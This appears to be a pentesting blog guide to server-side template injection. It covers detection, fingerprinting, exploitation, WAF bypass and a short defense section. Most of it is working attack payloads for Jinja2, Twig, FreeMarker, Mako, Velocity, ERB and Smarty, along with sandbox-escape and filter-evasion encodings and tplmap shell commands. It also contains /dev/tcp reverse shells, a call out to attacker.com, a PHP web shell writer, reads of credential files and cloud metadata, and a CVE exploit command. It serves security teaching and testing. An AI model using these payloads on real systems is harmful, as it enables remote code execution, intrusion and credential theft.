Server-Side Template Injection (SSTI) is one of the most dangerous web vulnerabilities you’ll encounter. A simple {{7*7}} in the right field can hand you full remote code execution on a production server. This guide covers everything — detection, fingerprinting, exploitation, WAF bypass, and defense — for every major template engine in 2026.
What Is SSTI?
Web frameworks use template engines to render dynamic content — think Flask with Jinja2, PHP apps with Twig, Java apps with FreeMarker. When user input is concatenated directly into a template string rather than passed as a variable, the template engine evaluates it. That’s SSTI.
The difference between safe and vulnerable:
# Safe — user input as data
template = Template("Hello {{ name }}")
template.render(name=user_input)
# Vulnerable — user input in the template itself
template = Template("Hello " + user_input)
template.render()
In the vulnerable version, if user_input is {{7*7}}, the output is Hello 49. The engine evaluated the expression. Now you own the template context.
Why SSTI Is So Dangerous
SSTI is categorized under Injection (A03:2021) in the OWASP Top 10. Unlike XSS, which runs in the victim’s browser, SSTI executes on the server. That means:
- Direct access to server internals
- File read/write on the host
- Full RCE in most cases
- Potential cloud metadata access (AWS/GCP/Azure IMDS)
- Container escape paths in misconfigured environments
The blast radius is massive. A single SSTI in a low-privilege endpoint can lead to full infrastructure compromise.
Detection: Finding the Injection Point
Step 1 — Find Template-Reflected Input
Look for anywhere user input appears reflected in a response:
- Name fields, greeting pages
- Search terms rendered in results
- Error messages that echo input
- Email templates, report generators
- PDF renderers, invoice systems
- Subject lines, comment fields
Step 2 — Probe with Safe Polyglots
Start with a detection payload that won’t crash anything:
${ {<%[%'"}}%\.
If the response changes, throws an error, or shows partial output, you’ve likely hit a template engine. Now narrow it down.
Step 3 — Fingerprint the Engine
Different engines use different syntax. Use the decision tree:
{{7*7}} → outputs 49? → Jinja2 / Twig
${7*7} → outputs 49? → FreeMarker / Mako / Velocity
#{7*7} → outputs 49? → Ruby ERB
<%= 7*7 %> → outputs 49? → ERB / EJS
{7*7} → outputs 49? → Go templates / Smarty
For Jinja2 vs Twig disambiguation:
{{7*'7'}} → outputs 7777777 = Jinja2
{{7*'7'}} → outputs 49 = Twig
Template Engine Cheatsheet
Jinja2 (Python — Flask, Django indirect use)
Basic probe:
{{7*7}}
{{config}}
{{self}}
Read environment / config:
{{config.items()}}
{{request.environ}}
{{config['SECRET_KEY']}}
RCE via __class__ chain:
{{''.__class__.__mro__[1].__subclasses__()}}
Find the subprocess.Popen or os.system class index, then:
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()}}
The index varies by environment. Use this to enumerate:
{% for i in range(500) %}
{% if ''.__class__.__mro__[1].__subclasses__()[i].__name__ == 'Popen' %}
{{i}}
{% endif %}
{% endfor %}
Simpler RCE via config + globals:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
File read:
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
(Class 40 is typically file in Python 2; use open in Python 3 via the same chain)
Jinja2 sandbox escape (if sandboxed):
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
Twig (PHP — Symfony, Craft CMS, Drupal)
Basic probe:
{{7*7}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
RCE via _self.env:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
RCE via setHandler:
{{_self.env.setCache("ftp://attacker.com/exploit")}}{{_self.env.loadTemplate("exploit")}}
RCE in older Twig (<= 1.19.0):
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
FreeMarker (Java — various enterprise apps)
Basic probe:
${7*7}
#{7*7}
<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("id")}
RCE:
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("id")}
${ex("cat /etc/passwd")}
Alternative RCE:
<#assign classloader=product.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${ec.newInstance()("id")}
Mako (Python)
Basic probe:
${7*7}
RCE:
${__import__('os').popen('id').read()}
<%
import os
x = os.popen('id').read()
%>
${x}
Velocity (Java — Apache, older enterprise)
Basic probe:
#set($x = 7*7)${x}
RCE:
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
#set($process=$runtime.exec("id"))
#set($inputStream=$process.getInputStream())
#set($inputStreamReader=new java.io.InputStreamReader($inputStream))
#set($bufferedReader=new java.io.BufferedReader($inputStreamReader))
#set($line=$bufferedReader.readLine())
${line}
Ruby ERB
Basic probe:
<%= 7*7 %>
RCE:
<%= `id` %>
<%= system("id") %>
<%= IO.popen('id').readlines() %>
Smarty (PHP)
Basic probe:
{$smarty.version}
{7*7}
RCE:
{php}echo `id`;{/php}
{system("id")}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
Tool: tplmap
tplmap automates SSTI detection and exploitation across all major engines.
# Install
git clone https://github.com/epinna/tplmap
cd tplmap && pip install -r requirements.txt
# Basic scan
python tplmap.py -u "https://target.com/page?name=*"
# POST request
python tplmap.py -u "https://target.com/submit" -d "name=*&submit=1"
# With cookies
python tplmap.py -u "https://target.com/page?name=*" --cookie "session=abc123"
# Interactive shell (if RCE found)
python tplmap.py -u "https://target.com/page?name=*" --os-shell
# File read
python tplmap.py -u "https://target.com/page?name=*" --file-read /etc/passwd
# Specify engine
python tplmap.py -u "https://target.com/page?name=*" --engine Jinja2
WAF Bypass Techniques
Encoding payloads
Hex encoding (Jinja2):
{{config.__class__.__init__.__globals__['\x6f\x73'].popen('\x69\x64').read()}}
Unicode bypass:
{{config.__class__.__init__.__globals__['os']['pop\u0065n']('id').read()}}
String concatenation:
{{'os'|attr('\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f')}}
{{request|attr('application')|attr('__globals__')|attr('__getitem__')('os')|attr('system')('id')}}
Bypassing keyword filters
If config, class, globals, or os are blocked:
# Use request object instead of config
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Attribute access via |attr filter
{{''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()}}
# String building
{% set a = 'o'+'s' %}
{{config.__class__.__init__.__globals__[a].popen('id').read()}}
Bypassing {{ filters
# Use {%print()%} instead of {{}}
{%print(config)%}
{%print(''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate())%}
Post-Exploitation
Once you have RCE via SSTI, standard post-ex applies:
Reverse shell:
# Jinja2
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"').read()}}
# FreeMarker
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {bash,-i,>&,/dev/tcp/10.10.14.1/4444,0>&1}")}
Cloud metadata (if on AWS):
# Via command execution
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
Environment variables (secrets):
{{config.items()}}
{{request.environ}}
Directory traversal to enumerate the server:
ls /; cat /etc/passwd; cat /proc/1/environ
Real-World Examples
CVE-2022-22963 — Spring Cloud Function SSTI (Spring4Shell adjacent)
Spring Cloud Function exposed a SSTI vulnerability via the spring.cloud.function.routing-expression header using SpEL (Spring Expression Language).
curl -X POST http://target.com:8080/functionRouter \
-H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("id")' \
-d ''
CVSS 9.8. Affected Spring Cloud Function < 3.1.7, < 3.2.3.
Craft CMS / Twig SSTI (multiple CVEs)
Craft CMS had several SSTI vulnerabilities in template rendering endpoints. Authenticated users with template editing privileges could achieve RCE via Twig injection:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
HTB Labs — Common SSTI Machines
SSTI appears frequently in Hack The Box:
- Bolt — Jinja2 SSTI in admin panel
- Templated — Flask/Jinja2 from the ground up
- Devzat — indirect SSTI path
Practice in an isolated lab before targeting real systems. Vultr and DigitalOcean let you spin up a cheap VPS to run intentionally vulnerable apps like DVWA, Juice Shop, or custom Flask/Django stacks.
👉 Spin up a practice VPS on Vultr — $6/month SSD instances work fine for web security labs.
SSTI in APIs and JSON Endpoints
SSTI isn’t limited to web forms. APIs that dynamically construct template strings from request bodies are equally vulnerable.
Test JSON fields:
curl -X POST https://target.com/api/report \
-H 'Content-Type: application/json' \
-d '{"title": "{{7*7}}", "body": "test"}'
Test HTTP headers:
curl -H "X-Custom-Header: {{7*7}}" https://target.com/api/data
Test URL parameters:
https://target.com/api/greet?name={{7*7}}
If any response contains 49, you have SSTI.
Defense: How to Actually Fix It
1. Never concatenate user input into templates
# BAD
Template("Hello " + user_input).render()
# GOOD
Template("Hello {{ name }}").render(name=user_input)
2. Use sandboxed environments
Jinja2 has a SandboxedEnvironment:
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(user_input)
Note: sandboxes can be bypassed. Prefer not rendering user-controlled templates at all.
3. Input validation
Reject {{, }}, {%, %}, ${}, #{}, <%, %> in fields that feed into templates. Allowlist, not blocklist.
4. WAF rules
Add SSTI detection patterns to your WAF:
\{\{.*\}\}(Jinja2/Twig)\$\{.*\}(FreeMarker/Mako)\#\{.*\}(Velocity)<%.*%>(ERB)
5. Least privilege
Template rendering processes should run as restricted users with no access to credentials, cloud metadata endpoints, or sensitive files.
SSTI Cheatsheet (Quick Reference)
| Engine | Detect | RCE |
|---|---|---|
| Jinja2 | {{7*7}} | {{config.__class__.__init__.__globals__['os'].popen('id').read()}} |
| Twig | {{7*7}} | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} |
| FreeMarker | ${7*7} | <#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")} |
| Mako | ${7*7} | ${__import__('os').popen('id').read()} |
| Velocity | #set($x=7*7)${x} | Runtime.exec chain |
| ERB | <%= 7*7 %> | <%= \id` %>` |
| Smarty | {$smarty.version} | {system("id")} |
Practice Labs
- TryHackMe — “SSTI” room, “Server-Side Template Injection” learning path
- Hack The Box — Bolt, Templated (retired)
- PortSwigger Web Security Academy — dedicated SSTI labs (free)
- Local Flask/Jinja2 app — build one in 10 lines, inject yourself
PortSwigger’s labs are particularly good for SSTI — they cover all major engines with guided and unguided challenges.
What’s Next
SSTI is one piece of the web attack puzzle. Continue the series:
- SQL Injection Attack Guide 2026 — the classic injection that still dominates
- XSS Attack Guide 2026 — client-side execution
- Command Injection Guide 2026 — OS-level injection
- File Inclusion Guide 2026 — LFI to RCE
All part of the Web Application Pentesting Series .
Need professional-grade security content for your organization? CipherWrite delivers technical articles, reports, and documentation written by practitioners.
